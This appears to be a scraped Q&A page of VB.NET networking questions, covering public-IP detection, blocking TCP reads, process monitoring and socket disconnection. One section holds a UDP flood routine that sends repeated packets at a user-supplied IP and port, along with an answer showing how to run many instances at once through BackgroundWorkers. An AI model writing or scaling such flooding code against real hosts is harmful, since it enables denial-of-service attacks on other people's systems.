How to check IP Address changes in VB.NET? - vb.net

How do I detect live IP Changes?
Example:
My ip without VPN: 3.3.3.3, whenever I connect to vpn my ip changes to 5.5.5.5.
My question is: How do I detect the IP has changed when the form is running?
I have tried:
Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
Dim adapters As NetworkInterface() = NetworkInterface.GetAllNetworkInterfaces()
AddHandler NetworkChange.NetworkAddressChanged, AddressOf downloadip
Dim n As NetworkInterface
For Each n In adapters
Timer4.Stop()
Msgbox("IP Changed")
Next n
End Sub

Try checking your IP on an external website
for example:
Public Sub GetExternalIp()
Try
Dim WithEvents IPBrowser As New WebBrowser
IPBrowser.Visible = False
Me.Controls.Add(IPBrowser)
IpBrowser.Navigate("http://seemyip.com/onyoursite.php")
Catch
Label2.Text = "failed to get external IP"
End Try
End Sub
'then, put this OnNavigatingEvent
If IpBrowser.Document.All("ip").GetAttribute("value") IsNot Nothing Then
MyExtIp = IpBrowser.Document.All("ip").GetAttribute("value")
Else
MessageBox.Show("Can't find your IP")
End If

Related

TCP/ip recive connection but locks up when trying to read data

Please can someone tell me why my server locks up when my rclient connects and try to send data?
If I comment out:
Dim bytes(rclient.ReceiveBufferSize) As Byte
rstream.Read(bytes, 0, CInt(rclient.ReceiveBufferSize))
RString = Encoding.ASCII.GetString(bytes)
TextBox2.Text = RStringcode here
and just have
TextBox2.Text = ("Remote connected")
the server picks up on a connected client so it must be something i have done with the .read ?
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Imports System.IO.Ports
Dim tclient As New TcpClient
Dim tstream As NetworkStream
Dim rclient As New TcpClient
Dim rstream As NetworkStream
Dim sArray() As String
Dim Tricopter As New TcpListener(2000)
Dim Remote As New TcpListener(2001)
Dim myVal As String
Dim TricopterThread As New Thread(AddressOf TricopterThreadSub)
Dim RemoteThread As New Thread(AddressOf RemoteThreadSub)
Dim tre(tclient.ReceiveBufferSize) As Byte
Dim TState = False
Dim RState = False
Dim SerialSwitch = False
Dim Toggle = False
Dim TString As String
Dim RString As String
Dim Remo(rclient.ReceiveBufferSize) As Byte
Dim TSendText() As Byte
Private Sub RemoteThreadSub()
rclient = Remote.AcceptTcpClient
rstream = rclient.GetStream
RState = True
End Sub
Private Sub TricopterThreadSub()
tclient = Tricopter.AcceptTcpClient
tstream = tclient.GetStream
TState = True
End Sub
Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
CheckForIllegalCrossThreadCalls = False
Tricopter.Start()
Remote.Start()
Timer1.Start()
TricopterThread.Start()
RemoteThread.Start()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
myVal = ">" & TrackBar1.Value & "," & TrackBar2.Value & "," & TrackBar3.Value & "," & TrackBar4.Value & "/n"
Try
If TState = False Then
TextBox1.Text = ("No tricopter connected")
Else
TextBox1.Text = myVal
If Toggle = False Then
TSendText = Encoding.ASCII.GetBytes(myVal)
End If
If Toggle = True Then
TSendText = Encoding.ASCII.GetBytes(RString)
End If
tstream.Write(TSendText, 0, TSendText.Length)
End If
If RState = False Then
TextBox2.Text = ("No Remote connected")
Else
' TextBox2.Text = ("Remote connected")
Dim bytes(rclient.ReceiveBufferSize) As Byte
rstream.Read(bytes, 0, CInt(rclient.ReceiveBufferSize))
RString = Encoding.ASCII.GetString(bytes)
TextBox2.Text = RString
End If
Catch ex As Exception
End Try
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
If Toggle = False Then
CheckBox1.CheckState = 1
Toggle = True
Else
CheckBox1.CheckState = 0
Toggle = False
End If
End Sub
End Class
You are assuming that reads return a specific amount of data such as ReceiveBufferSize. That is not true. A read returns at least one byte, that is all.
Just to clarify, TCP does not support message based transfer.
The correct way to read depends on the protocol. If the exact number of bytes expected is known you need to read in a loop until so many bytes are received (or use BinaryReader which does that for you).
For a line based protocol you can use StreamReader.ReadLine which again automates the looping.
ReceiveBufferSize is completely unrelated to how much data is available or will come.
DataAvailable is how much data can be read right now without blocking. But more data might come. It is almost always a bug to use it. Might return 0 at any time even if data comes in 1ms later.
EDIT: For those of you who have downloaded/tested this already, I made a bugfix to the classes so you'll need to redownload the sources if you're going to use them again.
If you want to perform proper data transfer you'll need to use a more reliable method than just simply reading random data. And as usr pointed out: the TcpClient.ReceiveBufferSize property does not tell you how much data there is to receive, nor how much data there is sent to you. ReceiveBufferSize is just a variable indicating how many bytes you are expected to get each time you read incoming data. Read the MSDN page about the subject for more info.
As for the data transfer, I've created two classes which will do length-prefixed data transfer for you. Just import them to your project and you'll be able to start using them immediatelly. Link: http://www.mydoomsite.com/sourcecodes/ExtendedTcpClient.zip
Example usage
Server side
First declare a new variable for ExtendedTcpClient, and be sure to
include WithEvents in the declaration.
Dim WithEvents Client As ExtendedTcpClient
Then you just need to use a normal TcpListener to check for
incoming connections. The TcpListener.Pending() method can be
checked in for example a timer.
When you are to accept a new TcpClient, first declare a new
instance of the ExtendedTcpClient. The class requires to have a
form as it's owner, in this application Me is the current form.
Then, use the ExtendedTcpClient.SetNewClient() method with
Listener.AcceptTcpClient() as it's argument to apply the
TcpClient from the listener.
If Listener.Pending() = True Then
Client = New ExtendedTcpClient(Me)
Client.SetNewClient(Listener.AcceptTcpClient())
End If
After that you won't be needing the timer anymore, as the
ExtendedTcpClient has it's own thread to check for data.
Now you need to subscribe to the PacketReceived event of the
client. Create a sub like so:
Private Sub Client_PacketReceived(sender As Object, e As ExtendedTcpClient.PacketReceivedEventArgs) Handles Client.PacketReceived
End Sub
In there you can for example output the received packet as text into
a TextBox. Just check if the packet header is PlainText and then
you can convert the received packets contents (which is an array of
bytes, accessed via e.Packet.Contents) to a string and put it in
the TextBox.
If e.Packet.Header = TcpMessagePacket.PacketHeader.PainText Then
TextBox1.AppendText("Message recieved: " & System.Text.Encoding.Default.GetString(e.Packet.Contents) & Environment.NewLine)
End If
Lastly, when closing the form you just need to disconnect the client.
Private Sub ServerWindow_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If Client IsNot Nothing Then Client.Disconnect()
End Sub
And that's it for the server side.
Client side
For the client side you will only be needing a normal TcpClient (unless you don't want to receive data there too).
Dim Client As New TcpClient
Then connect to the server via the IP and port you've given the listener.
Client.Connect("127.0.0.1", 5555) 'Connects to localhost (your computer) at port 5555.
Now if you want to send plain text to the server you'd do something like this:
Dim MessagePacket As New TcpMessagePacket(System.Text.Encoding.Default.GetBytes(TextBox2.Text), TcpMessagePacket.PacketHeader.PainText)
MessagePacket.Send(Client) 'Client is the regular TcpClient.
And now everything should be working!
Link to a complete example project: http://www.mydoomsite.com/sourcecodes/TCP%20Messaging%20System.zip
If you want to add more headers to the class, just open TcpMessagePacket.vb and add more values in the PacketHeader enum (located in the region called Constants).
Hope this helps!
Screenshot from the example project
(Click the image for larger resolution)

Constantly monitor if a process is running

I have the following code:
Dim p() As Process
Private Sub CheckIfRunning()
p = Process.GetProcessesByName("skype") 'Process name without the .exe
If p.Count > 0 Then
' Process is running
MessageBox.Show("Yes, Skype is running")
Else
' Process is not running
MessageBox.Show("No, Skype isn't running")
End If
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
CheckIfRunning()
End Sub
And it works GREAT!
But I'm wondering how I would convert this to a monitoring application, to constantly check if the processes is running. Is it as simple as putting the check on a timer every 1 second, or is there a better, more efficient way to go about this.
In the end result, I'd like to have a label that says "Running", or "Not Running" based on the process, but I need something to watch the process constantly.
If you need the app running all the time, then you don't need a Timer at all. Subscribe to the Process.Exited() event to be notified when it closes. For instance, with Notepad:
Public Class Form1
Private P As Process
Private FileName As String = "C:\Windows\Notepad.exe"
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim ps() As Process = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(FileName))
If ps.Length = 0 Then
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
Else
P = ps(0)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End If
End Sub
Private Sub P_Exited(sender As Object, e As EventArgs)
Console.WriteLine("App Exited # " & DateTime.Now)
Console.WriteLine("Restarting app: " & FileName)
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End Sub
End Class
That would keep it open all the time, assuming you wanted to open it if it wasn't already running.
If you don't want to open it yourself, and need to detect when it does open, then you could use WMI via the ManagementEventWatcher as in this previous SO question.
I've done something similar to this to monitor an exe that I need to be running all the time, and to restart it if it was down.
Mine was running as a Windows Service - that way it would start when windows booted and id never need to look after it.
Alternatively you could just create it as a console app and put it in your startup folder?
I had:
Sub Main()
Do
Check_server()
Dim t As New TimeSpan(0, 15, 0)
Threading.Thread.Sleep(t)
Loop
End Sub
Public Sub Check_server()
Dim current_pros() As Process = get_pros()
Dim found As Boolean = False
If Now.Hour < "22" Then
For Each pro In current_pros
If pro.ProcessName.ToLower = "Lorraine" Then
found = True
Exit For
Else
found = False
End If
Next
If found Then
Console.WriteLine("Server up")
Else
Console.WriteLine("Server down - restarting")
restart_server()
End If
End If
End Sub
My "server" app was called Lorraine...Also a timer maybe better practice than having the thread sleep..
From my experience, a simple timer works best:
'Timer interval set to 1-5 seconds... no remotely significant CPU hit
Private Sub timerTest_Tick(sender As System.Object, e As System.EventArgs) Handles timerTest.Tick
Dim p() As Process = Process.GetProcessesByName("Skype")
lblStatus.Text = If(p.Length > 0, "Skype is running.", "Skype isn't running.")
End Sub
Your mileage may vary, but I don't like to deal with separate threads unless necessary.

Properly Disconnecting and Reconnecting an Asynchronous Connection

I am currently developing a file sharing application using asynchronous communication in VB.Net. I successfully coded a simple connection between the client and the server. But, I am currently having a bad time doing the disconnection sub routine for both the client and the server. I'm currently stuck in this problem for a couple of days already and have decided to seek help here because I can't find any good ways to do the disconnection thing.
Here's my code:
Server Application
Private Sub FileSharingInitialize()
ServerSocket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
Dim EndPoint As IPEndPoint = New IPEndPoint(IPAddress.Any, 7777)
ServerSocket.Bind(EndPoint)
ServerSocket.Listen(0)
End Sub
Private Sub FileSharingOnAccept(ByVal AsyncResult As IAsyncResult)
ClientSocket = ServerSocket.EndAccept(AsyncResult)
FileSharingAddClient(ClientSocket)
ClientSocket.BeginReceive(ByteData, 0, ByteData.Length, SocketFlags.None, New AsyncCallback(AddressOf FileSharingOnReceive), ClientSocket)
End Sub
Delegate Sub _FileSharingAddClient(ByVal Client As Socket)
Private Sub FileSharingAddClient(ByVal Client As Socket)
If InvokeRequired Then
Invoke(New _FileSharingAddClient(AddressOf FileSharingAddClient), Client)
Exit Sub
End If
lvConnectedClients.Items.Add("")
lvConnectedClients.Items(lvConnectedClients.Items.Count - 1).SubItems.Add(Client.LocalEndPoint.ToString)
End Sub
Private Sub FileSharingOnReceive(ByVal AsyncResult As IAsyncResult)
Dim Client As Socket = CType(AsyncResult.AsyncState, Socket)
Client.EndReceive(AsyncResult)
Dim ByteReceived As Byte() = ByteData
Dim LogMessage As String = System.Text.Encoding.ASCII.GetString(ByteReceived)
ReadLogMessage(LogMessage)
End Sub
Delegate Sub _ReadLogMessage(ByVal LogMessage As String)
Private Sub ReadLogMessage(ByVal LogMessage As String)
If InvokeRequired Then
Invoke(New _ReadLogMessage(AddressOf ReadLogMessage), LogMessage)
Exit Sub
End If
DisplayLogMessage(LogMessage)
End Sub
Private Sub DisplayLogMessage(ByVal Log As String)
Dim TimeStamp As String = "[" & DateAndTime.Now.ToString("hh:mm:ss tt dddd, dd MMMM yyyy") & "]: "
Dim LogMessage As String = ""
If txtLog.Text > "" Then
LogMessage = Chr(10) & Chr(13)
End If
LogMessage &= TimeStamp
LogMessage &= Log
txtLog.SelectionStart = Len(txtLog.Text)
txtLog.SelectedText = LogMessage
End Sub
Private Sub frmMain_Load(sender As Object, e As System.EventArgs) Handles Me.Load
FileSharingInitialize()
End Sub
Private Sub btnStart_MouseClick(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles btnStart.MouseClick
ServerSocket.BeginAccept(New AsyncCallback(AddressOf FileSharingOnAccept), Nothing)
DisplayLogMessage("Server started." & Environment.NewLine)
End Sub
On the server part, when I press the stop button, I want to disconnect all the clients from the server. I have tried this code in my start button but it doesn't work. I'm receiving an error that says the socket is not connected. I'm thinking that maybe I am disconnecting the wrong socket since I have also a socket named ClientSocket in the server application. Or maybe, I should do it with a loop to disconnect the clients? What do you think?
Private Sub btnStop_MouseClick(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles btnStop.MouseClick
ServerSocket.Shutdown(SocketShutdown.Both)
ServerSocket.Close()
ServerSocket = Nothing
End Sub
Client Application
Private Sub btnConnect_MouseClick(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles btnConnect.MouseClick
ClientSocket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
Dim Address As IPAddress = IPAddress.Parse(frmNetworkSettings.txtServerIPAddress.Text)
Dim Endpoint As IPEndPoint = New IPEndPoint(Address, CInt(frmNetworkSettings.txtFileSharingPort.Text))
ClientSocket.BeginConnect(Endpoint, New AsyncCallback(AddressOf FileSharingOnConnect), Nothing)
SendLogMessage(Username & " is connected." & Environment.NewLine, ClientSocket)
End Sub
Private Sub FileSharingOnConnect(ByVal AsyncResult As IAsyncResult)
ClientSocket.EndConnect(AsyncResult)
End Sub
Private Sub SendLogMessage(ByVal LogMessage As String, ByVal Client As Socket)
Dim SendByteData As Byte() = System.Text.Encoding.ASCII.GetBytes(LogMessage)
Client.BeginSend(SendByteData, 0, SendByteData.Length, SocketFlags.None, New AsyncCallback(AddressOf OnSendLogMessage), Client)
End Sub
Private Sub OnSendLogMessage(ByVal AsyncResult As IAsyncResult)
Dim Client As Socket = CType(AsyncResult.AsyncState, Socket)
Client.EndSend(AsyncResult)
End Sub
The problem on the client part is the same on the server. The code to disconnect the client from the server doesn't work. It doesn't send any logs to the server after I press the disconnect button, even when I reconnect afterwards. It seems that the socket has been disposed? If so, how can I prevent it from doing that and reuse the socket when I try to reconnect? Another thing, is that when I press the connect button without starting the server and afterwards start the server, a log is sent to the server that the client connected. It seems that the problem is on the listen method of the server. I don't want that to happen, I just want an exception or something that will alert the user that the client is not connected to the server and do not send a log message to the server afterwards the client connects. I don't really know, but do you think that if I set the backlog of the listen method to zero will prevent that from happening?
Thanks in advance!
Better way to do this is to implement flag system. When one client or server want to disconnect from other send disconnect flag to other end so on other end you code will understand disconnection

VB.NET - Running one sub multiple times at once

I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.
I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.
You can use background worker for that.
Once you know how many workers you want to do the job
just create those many instances of background worker.
Tell me if this is the answer you are looking for or not
Sample Source Code
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module

Get ip address in vb.net

I want to get current internet ip address in vb.net. I don't want localhost ip address. like as (http://www.ipchicken.com/ website return ip address)
I understand what you are wanting is the IP address as you appear on the internet and NOT your internal network IP. I've got some code somewhere I'll dig out for you but it basically comprised of this (from memory):
Create a WebRequest and WebResponse object
Request a webpage (using WebRequest) that shows your IP (such as IP Chicken) and capture the response in the WebResponse object
Parse the response using regular expressions to collect your IP
Like I say I'll try and dig out the code but this should be more than enough information for you to work on :-)
Something like this should get your current public IP.
Public Class Form1
Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
AddHandler wb.DocumentCompleted, AddressOf wb_DocumentCompleted
End Sub
Public WithEvents wb As New WebBrowser
'before using wb add
'AddHandler wb.DocumentCompleted, AddressOf wb_DocumentCompleted
Private Sub GetPubIP()
Try
'the site returns a string like "Current IP Address: 69.59.196.211"
wb.Navigate(New Uri("http://checkip.dyndns.org"))
Catch ex As Exception
'add error checking
End Try
End Sub
Private Sub wb_DocumentCompleted(ByVal sender As Object, _
ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs)
'parse the reply
Dim parts() As String = wb.Document.Body.InnerText.Split(":"c)
Debug.WriteLine(parts(1).Trim)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
GetPubIP()
End Sub
End Class
Here's what you're looking for. I wrote a simple PHP script to return the IP address when called, then wrote this VB.Net code to call it at any time:
Public Function jnWhatIsMyExternalIP() As String
Dim strURL As String = "http://www.mycompanywebsite/jnNetworkTools/jnCheckIP.php"
Dim Request As System.Net.WebRequest = System.Net.WebRequest.Create(strURL)
Dim Response As System.Net.WebResponse = Request.GetResponse()
Dim Reader As New System.IO.StreamReader(Response.GetResponseStream())
Dim strMyIP As String = Reader.ReadToEnd()
Return strMyIP
End Function
Here's the PHP code that is in jnCheckIP.php:
<?php
echo $_SERVER['REMOTE_ADDR'];
?>
Calling the VB.Net function causes the users machine to call the PHP script on your server which then returns the users IP address.
You can know real ip address only if your host (pc) have static internet ip address, not like 194.x.x.x or 10.x.x.x and other http://en.wikipedia.org/wiki/Private_network
Otherwise try to send http request to service like www.ipchicken.com or other http://www.google.ru/search?hl=en&q=my+ip+address to know your ip address
This should do the trick:
http://www.vbdotnetheaven.com/UploadFile/prvn_131971/ipvb11162005073000AM/ipvb.aspx
Function GetIP() As String
Dim IP As New WebClient
Return IP.DownloadString("http://icanhazip.com/")
End Function